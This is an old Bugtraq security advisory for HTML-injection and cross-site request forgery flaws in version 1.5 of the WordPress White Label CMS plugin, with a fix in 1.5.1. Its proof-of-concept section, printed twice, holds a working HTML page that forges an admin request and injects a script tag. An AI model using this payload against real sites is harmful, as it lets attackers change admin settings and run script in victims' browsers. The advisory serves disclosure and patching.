WordPress White Label CMS Plugin HTML Injection and Cross Site Request Forgery Vulnerabilities
BID:56166
Info
WordPress White Label CMS Plugin HTML Injection and Cross Site Request Forgery Vulnerabilities
| Bugtraq ID: | 56166 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-5387 CVE-2012-5388 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 21 2012 12:00AM |
| Updated: | Oct 21 2012 12:00AM |
| Credit: | pcsjj |
| Vulnerable: |
WordPress White Label CMS 1.5 |
| Not Vulnerable: |
WordPress White Label CMS 1.5.1 |
Discussion
WordPress White Label CMS Plugin HTML Injection and Cross Site Request Forgery Vulnerabilities
White Label CMS plugin for WordPress is prone to an HTML-injection vulnerability and a cross-site request-forgery vulnerability because it fails to properly sanitize user-supplied input.
Exploiting these issues may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.
White Label CMS 1.5 is vulnerable; prior versions may also be affected.
White Label CMS plugin for WordPress is prone to an HTML-injection vulnerability and a cross-site request-forgery vulnerability because it fails to properly sanitize user-supplied input.
Exploiting these issues may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.
White Label CMS 1.5 is vulnerable; prior versions may also be affected.
Exploit / POC
WordPress White Label CMS Plugin HTML Injection and Cross Site Request Forgery Vulnerabilities
An attacker can exploit HTML-injection issues through a browser. To exploit the cross-site request-forgery issue the attacker must entice an unsuspecting victim into viewing a malicious webpage.
The following exploit is available:
<html>
<title>White Label CMS CSRF</title>
<body>
<img src='http://www.example.com/wordpress/wp-admin/admin.php?page=wlcms-plugin.php&action=save&wlcms_o_developer_name="><script>alert("fun")</script><div"'>
</body>
</html>
An attacker can exploit HTML-injection issues through a browser. To exploit the cross-site request-forgery issue the attacker must entice an unsuspecting victim into viewing a malicious webpage.
The following exploit is available:
<html>
<title>White Label CMS CSRF</title>
<body>
<img src='http://www.example.com/wordpress/wp-admin/admin.php?page=wlcms-plugin.php&action=save&wlcms_o_developer_name="><script>alert("fun")</script><div"'>
</body>
</html>
Solution / Fix
WordPress White Label CMS Plugin HTML Injection and Cross Site Request Forgery Vulnerabilities
Solution:
Updates are available. Please see the references for more information.
Solution:
Updates are available. Please see the references for more information.
References
WordPress White Label CMS Plugin HTML Injection and Cross Site Request Forgery Vulnerabilities
References:
References:
- White Label CMS 1.5.1 Downlaod Page (WordPress)
- White Label CMS Home Page (WordPress )
- WordPress Homepage (WordPress)